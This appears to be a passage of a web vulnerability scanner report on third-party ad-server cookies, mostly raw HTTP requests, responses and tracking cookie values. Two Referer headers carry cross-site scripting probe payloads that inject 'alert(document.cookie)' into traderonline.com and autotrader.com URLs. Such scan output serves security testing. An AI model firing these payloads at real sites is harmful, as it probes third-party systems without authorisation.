sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo000000050o01050110582gletz4d0pqa500a0l000400100ag2leqh190t8d900c0o01050110c82hlebnns181qq00f0o01050110e9zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei000000010o010501101820lebnns181qq00e0l000400100b0olfjpei000000010o010501101ab4lebnns181qq00f0o01050110e9szlebnns181qq00f0o01050110e8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b138c700e0o01050110eal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei000000010o0105011018bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns181qq00e0l000400100b08lfjpei000000010o01050110140slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc000000020o01050110240uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; vstcnt=3lebnns021l034e2061201181qq4fhux122q000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru0000000000000004esx7120104tej0r013ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 P3P: CP="COM NAV INT STA NID OUR IND NOI" Pragma: no-cache Cache-Control: no-cache Set-Cookie: adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Set-Cookie: clid=2lebnns011706ch47d7o8wtv18e3v00g0o02050210f; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Set-Cookie: orblb=2lfk1rn012dh10u0100000; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Set-Cookie: rdrlst=2110s7dpletz4d0000000c0o02050210co2ylebnns0000000g0o02050210f10elfk1rn000000010o010501101mmnlebnns0000000g0o02050210fxo1lebnns0000000g0o02050210fx1blebnns0000000g0o02050210feh5lf17qf000000080o0205021086bylemlne0000000e0o02050210ew3clebnns0000000g0o02050210f7gmlebnns0000000g0o02050210fjv6lebnns0000000g0o02050210fj4ilew2e20000000a0o02050210axthlebnns0000000g0o02050210ffullf8gij000000040o02050210410flfk1rn000000010o0105011010c9lfk1rn000000010o010501101jillebnns0000000g0o02050210ffuqlegh2b0000000f0o02050210fb6mlf17qk000000070o020502107mz1lebnns0000000g0o02050210fcajlfk1rn000000010o010501101p7vlebnns0000000g0o02050210f7vglfk1rn000000010o010501101xvslebnns0000000g0o02050210f10elfk1rn000000010o01050110110rlfjpei000000020o020502102xuklebnns0000000g0o02050210fx1jlebnns0000000g0o02050210fjk7lebnns0000000g0o02050210fcbnlfk1rn000000010o010501101yiplebnns0000000g0o02050210fyh0lebnns0000000g0o02050210fxwflebnns0000000g0o02050210fe4vlebnns0000000g0o02050210f10elfk1rn000000010o010501101jwblfk1rn000000010o010501101xwblebnns0000000g0o02050210f; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Set-Cookie: sglst=2140s8dtletz4d0pqa500a0l000400100a70lebnns181qq00e0l00040010061gletz4d0pqa500a0l0004001005b0lf17qo000000060o020502106ag2leqh190tkqe00d0o02050210d82gletz4d0pqa500a0l0004001009zdlebnns181qq00e0l00040010082hlebnns181qq00g0o02050210f5q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei000000020o020502102820lebnns181qq00e0l000400100b0olfjpei000000020o020502102ab4lebnns181qq00g0o02050210f9szlebnns181qq00g0o02050210f8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b13kpc00f0o02050210fal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l0004001005q8lebnns181qq00e0l0004001007y2lebnns181qq00e0l0004001008bgletz4d0pqa500a0l000400100b0clfjpei000000020o020502102b08lfjpei000000020o02050210240slebnns181qq00e0l00040010045mlfdxmc000000030o020502103a97lebnns181qq00e0l000400100ah4lebnns181qq00e0l0004001003s4letz4d0pqa500a0l00040010040uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 01:35:47 GMT; Path=/ Location: http://ad.yieldmanager.com/pixel?t=2&id=961073&id=1146992&id=1146943&id=1146965&id=1146949&id=750331&id=643545&id=970658&id=750295&id=276802 Content-Length: 0 Date: Tue, 25 Jan 2011 01:35:46 GMT
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
id=c653243310000d9|1323822/422931/14998|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click;h=v8/3a99/f/b2/*/d;234819764;0-0;0;55748943;4307-300/250;40168029/40185816/1;;~sscs=?http:/r1-ads.ace.advertising.com/click/site=0000772178/mnum=0000924994/cstr=49004778=_4d3dea59,5764026402,772178^924994^87^0,1_/xsxdata=$xsxdata/bnum=49004778/optn=64?trg=http%3a%2f%2fwww.nutrisystem.com/jsps_hmr/tracking/click.jsp%3Fiid%3D28533%26rURL%3D/webbmipage1 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://r1-ads.ace.advertising.com/click/site=0000772178/mnum=0000924994/cstr=49004778=_4d3dea59,5764026402,772178^924994^87^0,1_/xsxdata=$xsxdata/bnum=49004778/optn=64?trg=http:%2f%2fwww.nutrisystem.com/jsps_hmr/tracking/click.jsp%3Fiid%3D28533%26rURL%3D/webbmipage1 Set-Cookie: id=c653243310000d9|1323822/422931/14998|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Mon, 24 Jan 2011 22:29:19 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /server/ads.js?pub=11185880&cch=11185948&code=11186021&l=728x90&aid=25473179&ahcid=639152&bimpd=JfYWx_x-jXNCK9IpMegyhUWfskX0pU8P9f7Q1yXyGzQemn_EqX28BMzorUm1RHhKGx-kTq2w2kpNwnvUPTFSYA_80oR-SV_VDSGrzVIaqwv7xQM1WSLXOFPtmTbFrBpcKHYDU3ZzQbGAadh-eeMHWfO4Zgq6ktzuNhF_bLK0LPbphxV42Q4h_ZsNyhD18qZoRsuasRkxi1Z1k2rPptD9P8PLpt1hXOJjICjWtT2yiK1991S-sQEpjv_uMS6ILCsrwnU36lwYe7slfVjZEaepylBgMkh3271niMXNcwzAAnkA3U_Zfy6PETxQfgT8J-eT3nHNrRxpSP9nzpJZWA2Oy_F-ABQAi523H0QKxGD94Z1KPSA4tJC98-OHWr7_Um1WZpe8EWvwpVEb2wDc62rx0S06fjS1aNldrC9NAsPnTeFe4dD9Jr8W6-GV7RTJi0dWCJlznOYZcJIyl5aWWTKHL8QbIlH3bhQ14447S7BulD2NXHmwdmZPdbayfYow3TS_3DJsjXLE29UpHD0D8hJpAOZI2lttlojyr18-kq0-aK4JBWy7dWMINLXjafqXKN-yikbmhRmyXpRqygwkLDH5nb3wc-cQ7FRKnITKYzO3zYW_xnlzUqpmXl7pHtXggKmUbVUxMzpfpDP-5pvCsEjEu9gSUaiszXPUJLnjJ5pOEcFJzTMxAkdIK6WQ3ZcMhBFc0GRnvhpqQeoi_DKnimnnEdWAtgHpEXC7-jTjtY7xtW70-FfeNmDs5wqwDfThppao&acp=TT4o8AAAtGwK5T0lMKVG2jUduhdCo64LBk_xIw&3c=http://adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBUDXq8Cg-TezoAqX6lAfajZWFA4200M4B9bmdvRSFp5HyFwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi0xMTg5MzcwNDA4OTk4NTU1sgEOam9vbWxhY29kZS5vcme6AQk3Mjh4OTBfYXPIAQnaATJodHRwOi8vam9vbWxhY29kZS5vcmcvZ2YvcHJvamVjdC9qb29tbGEvcmVwb3J0aW5nL5gCggHAAgTIArWc1RHgAgDqAhdKb29tbGFfSm9vbWxhY29kZUZvb3RlcqgDAegD8gPoA6gG6AM16AO5AugD2gX1AwAAAET1AwIAAADgBAE%26num%3D1%26sig%3DAGiWqtzBe5EVxfoGXmcp6PQnZKB63g35FA%26client%3Dca-pub-1189370408998555%26adurl%3D HTTP/1.1 Host: ad.turn.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pf=TiY2Y7UsIzsDKs0LviDMrF7Y4FfMul_JqNyl-f7qrdKJwV9kSIzX4BtZ7vBDkFqi6PyIdXvx0rnLfhzRtOOBc34lLZyvKs0UYrWi2iSsDx48XfJgp4muYrbpVMBmU3OKo040jqkTNLCen_tUsnEbNt9he2SzgZbMiSxi7XoC0oAxENxfle1RGFCVxOmt4exBF6G3eK8GfPeHCjDxdpQTpQ; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7Cundefined%7C10; rds=14987%7C14983%7C14983%7C14989%7Cundefined%7C14983%7C14983%7C14983%7C14983%7C14983%7C14987%7Cundefined%7C14983; rv=1; uid=3011330574290390485
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adserver/behavioral-data/8201?d=49,123 HTTP/1.1 Host: ads.adbrite.com Proxy-Connection: keep-alive Referer: http://loadus.exelator.com/load/net.php?n=PGltZyBzcmM9Imh0dHA6Ly9hZHMuYWRicml0ZS5jb20vYWRzZXJ2ZXIvYmVoYXZpb3JhbC1kYXRhLzgyMDE%2FZD00OSwxMjMiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGJvcmRlcj0iMCI%2BPC9pbWc%2BPHNjcmlwdCBzcmM9Imh0dHA6Ly9zZWdtZW50LXBpeGVsLmludml0ZW1lZGlhLmNvbS9waXhlbD9wYXJ0bmVySUQ9NzkmY29kZT0yODUzNzkmY29kZT0zMDI3NzUma2V5PXNlZ21lbnQmcmV0dXJuVHlwZT1qcyI%2BPC9zY3JpcHQ%2BPGltZyBzcmM9Imh0dHA6Ly9hLmNvbGxlY3RpdmUtbWVkaWEubmV0L2RhdGFwYWlyP25ldD1leCZzZWdzPTc2LDMyJm9wPWFkZCIgd2lkdGg9IjEiIGhlaWdodD0iMSI%2BPC9pbWc%2B&h=801802b5e74884030c94b77c781c1c27 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=168362173x0.688+1294536261x899753879; cv=1%3Aq1ZyLi0uyc91zUtWslIySyktr0nPLLDMMi8zrjGwMswuNjMusjK0MlCqBQA%3D; ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z1fSUUpKzMtLLcoEK1CqrQUA; rb="0:712156:20822400:6ch47d7o8wtv:0:742697:20828160:3011330574290390485:0:753292:20858400:CA-00000000456885722:0:762701:20861280:D8DB51BF08484217F5D14AB47F4002AD:0"; srh=1%3Aq64FAA%3D%3D; vsd="0@2@4d3db691@www.hotelsbycity.com"
Response
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Date: Mon, 24 Jan 2011 21:07:11 GMT Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC" Server: Apache-Coyote/1.1 Set-Cookie: ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z9dJzsiwSC%2BoysmrMczJSS%2BqqjGsMYAJZuUgCSrpKCUl5uWlFmWCjVKqrQUA; Domain=.adbrite.com; Expires=Thu, 21-Jan-2021 21:07:11 GMT; Path=/ Set-Cookie: vsd="0@1@4d3de9ff@loadus.exelator.com"; Version=1; Domain=.adbrite.com; Max-Age=172800; Path=/ Content-Length: 42
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adserver/CntImprImg?type=msg&p=MTUtMTUwLTE0Ni0xMTEtOTgtOTAtMjUwLTE2NC0yMi00OC01Ny0xMjAtMjM1LTY0LTE5LTI0NC05Ny0xMDAtMTY4LTE5My00OC0xNTgtMjUwLTE1Mi0zNS0yMjctMjAyLTI0Ny00NC0xNjEtMTQxLTE5My0yMS0zNC0yMjgtMjEtMjktMTAzLTE2MC0xNDUtNDktMTY0LTU1LTM1LTM2LTY2LTI0NC0xODMtMTMwLTMtMTAwLTE0MC0zNC0yMTItMTQ3LTE4MC0xOTItNDUtMTAwLTIwMC0xNy0xNzItMjUxLTY3LTIxOC0xNjktMTY5LTE5NC0xODEtOTktMzktNjYtMTQ0LTgtMjQtMTQtMTgyLTgxLTEzLTI2&purl=http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html&r=1998 HTTP/1.1 Host: ads.doclix.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 14:54:42 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC",policyref="http://track.doclix.com/w3c/p3p.xml" Set-Cookie: daily_freq_cap=WzI0LTEtMjAxMXwzNDE0fDFd; Domain=.doclix.com; Expires=Tue, 24-Jan-2012 14:54:42 GMT; Path=/ Set-Cookie: weekly_freq_cap=WzUtMjAxMXwzNDE0fDFd; Domain=.doclix.com; Expires=Tue, 24-Jan-2012 14:54:42 GMT; Path=/ Set-Cookie: monthly_freq_cap=WzEtMjAxMXwzNDE0fDFd; Domain=.doclix.com; Expires=Tue, 24-Jan-2012 14:54:42 GMT; Path=/ ETag: W/"137-1288970405000" Last-Modified: Fri, 05 Nov 2010 15:20:05 GMT Content-Type: image/png Vary: Accept-Encoding Connection: close Content-Length: 137
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /PortalServe/?pid=1149217T71620101123190930&flash=10&time=1|19:35|-6&redir=http://r.turn.com/r/tpclick/id/pNyBDcYPcXUfRwEAbAABAA/3c/http%3A%2F%2Fadclick.g.doubleclick.net%2Faclk%3Fsa%3Dl%26ai%3DBUDXq8Cg-TezoAqX6lAfajZWFA4200M4B9bmdvRSFp5HyFwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi0xMTg5MzcwNDA4OTk4NTU1sgEOam9vbWxhY29kZS5vcme6AQk3Mjh4OTBfYXPIAQnaATJodHRwOi8vam9vbWxhY29kZS5vcmcvZ2YvcHJvamVjdC9qb29tbGEvcmVwb3J0aW5nL5gCggHAAgTIArWc1RHgAgDqAhdKb29tbGFfSm9vbWxhY29kZUZvb3RlcqgDAegD8gPoA6gG6AM16AO5AugD2gX1AwAAAET1AwIAAADgBAE%26num%3D1%26sig%3DAGiWqtzBe5EVxfoGXmcp6PQnZKB63g35FA%26client%3Dca-pub-1189370408998555%26adurl%3D/url/$CTURL$&pos=s&r=0.4512364394031465 HTTP/1.1 Host: ads.pointroll.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PRID=7A1A2F29-D5D5-4308-B63E-BE3AD3D2AA86; PRbu=EmUrRNwjG; PRvt=CDJOmEmUrRNwjGACOBBeJOJEmU0MxHpcAAkBAeJHsEmdTjgu6i!DSBBe; PRgo=BBBAAsJvBBVBF4FR; PRimp=D5990400-1924-8254-0209-118000C40100; PRca=|AJfG*725:1|AJi6*27:1|AJpL*13875:4|AJn8*424:2|AJpe*396:1|#; PRcp=|AJfGAALh:1|AJi6AAA1:1|AJpLADbn:4|AJn8AAGq:2|AJpeAAGY:1|#; PRpl=|EjjU:1|En2h:1|Esyc:2|Esyd:2|EqXr:2|Er3c:1|#; PRcr=|FsPT:1|FudH:1|FyDo:2|FyKT:2|Fwuw:2|Fyh9:1|#; PRpc=|EjjUFsPT:1|En2hFudH:1|EsycFyDo:2|EsydFyKT:2|EqXrFwuw:2|Er3cFyh9:1|#
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adserver/ako?activate&csid=K04491 HTTP/1.1 Host: ads.revsci.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==; udm_0=MLvv8iEJPj5n5t4Ltt9EX/C7xZnl5hjzDNVGFWEzjcOGPSjwQeqblsz4NQqc0gDPHJGwQqP04Gl/fjd0NwxKE04RBfv6QDvz32B6fwU5Fu34L666BG4fi9tTCQB7HzLjsLqPpe/ZNv6p6Wv6E4ZBUtNIPMZXaK38wui6tKY7SLyOhMMPSJKHQjAq7iVOFpHQSiIVffpJbnNSOVw3KAaxc6ZIuNW0TwoNno2N7hLN8h5r0ETnNH1Wumo6MsJMHy6rUG0M0AVwc0C8t2sgjHPROMA7VMvEXCMRiwynjB1TRk/+PVfpEc1tHyJeAqnj0jneawiO5aIsZWU/7yPlu5ciMTLE8+z5XpS+HdjIJZiKw1Jd4rWuHlcWhdMmo0w4BgvLrRDX5hKPVKrZaofBbsFrLK+YUHM4qv2l8zWxk2A0eFUUwPQGjp4RSLamucNFvJcwuLIA/C4N0vTadc1XEiqHWN9m59nxOVRc25CL28bCg9D7XIK8eQGl39rH79pq83w2Y7yTdp2vq/JQyywuUIosSaihXjhZsv5zVjsGq0ous0noNBGVBibouZ6BUldR6RYnFDGvwwEsGVJSDLRRNx/p1i5vF0c5w+tOkuGmoQgKCEah+BLI3eY4IHERUjQHegjRiYhL18Bf95kytJzUyG1CQvSeHJOczvbE8rlrMExy1YkvWXbw0EkxMvneLlRouFMzUVJFJTrqMPWcsk2yKZjYh/ijo2o/CmAOTbQ5kX5IdSZG+Myf0KmUsYyDn3ob6Bqd0BC6gho3A+TkpwR3LAXJV+jj4sbj58smKFZBQAZVL97B2AHIadTbzX24S5gt3hJk6ySr2S1M1lWOdAtajdXelKAOgeKm2wNtK/Wy58LDt1SOkNjbuNw5upFoMJrUEnAHA3Gw0Zpesn5sqwSKrfo8m1ARoDsiZ17yITyYdiQgFv4=
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: rsi_us_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver Set-Cookie: rsi_us_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_us_1000000=pUMd5U+DfxIU7WxyqNQb+zH1s17HozKcX9zb1nGBmx1V/jUVnfeldtQjURXj62Ij5rwYZ9wJ1NqZFDtPnA/ai2kzB4ZWck4RlBED9tHPfALbjG5/h+EbQvknzyyRcrItMoJol6PXNTl/OKv1HLyRjqxPdUMPuhTeFrZcyO8gAu7DnkKRicwv26rJbnB2YkIMVwnyQe25v0bF8cRbuIDVa248qh0eMMOfyR/FXEsxPsbCZDweM7dbepZIWR3dtd+dVimkWAYQoZALNR+V/guGHuxfyVd2gEOLAGwOQllMhFXpg30hoPoVfJhXFUqiQNm3BzjM0qe3oej3+PsACj2CU61hVKeF2HNY9k2ol1ixdYUyhZXc+csbq2QEngScG8Fyk28f3CtFfcgafRot2T5UJdsjwU///O8q5QLpNWARM1w/lHLi6xhWyV7RPg2RTuUehxIA5X1CDzhakTy4gchBqLYpsImsUgwLdediq5xOCZUg5jzSYFUo7zRvJUElYuphp8OzQ1AQryrdIBXfr2Q7k0pOTQtw0Sya6irERSdIDFN9xHQEpu/KZi/VfFED67ADmmemfMMNlbnugnmTr6LTfKuLWuw4QB8ULOl4ICmXLj6pBD/5tNcSMJWTFHOixo4IK0vkutnkoKUs/dGDMVzfYfICMrfqYm5ooaMqvnmJ2DAzQJTYRF4vDA6NPTQcbJifGlogyZA5q8lXRY25R+s5rcSx1LACJzBJtIrHnrtl8SXouSQzf3kTOxNhVDItJBmmUFdwuBsLv9W3DOHJYpGPu7/HeVRht67vcq4vWMq3VbvT2WCZWCAVmSFQIlAkZlXJXT993g==; Domain=.revsci.net; Expires=Fri, 16-Jan-2043 21:06:44 GMT; Path=/ Content-Type: application/x-javascript;charset=ISO-8859-1 Vary: Accept-Encoding Date: Mon, 24 Jan 2011 21:06:44 GMT Content-Length: 822
function rsi_img(p,u,c){if(u.indexOf(location.protocol)==0){var i=new Image(2,3);if(c){i.onload=c;} i.src=u;p[p.length]=i;}} function rsi_simg(p,s,i){if(i<s.length){rsi_img(p,s[i],function(){rsi_sim ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_jx.ads/www.traderonline.com/traderonline/1888828924@Right1? HTTP/1.1 Host: ads.traderonline.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/x22ec89d%3Cscript%3Ealert(document.cookie)%3C/script%3E93a08fbf703 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:34 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: OAX=rcHW8009oaoAAx1V; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.traderonline.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 475 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3845525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 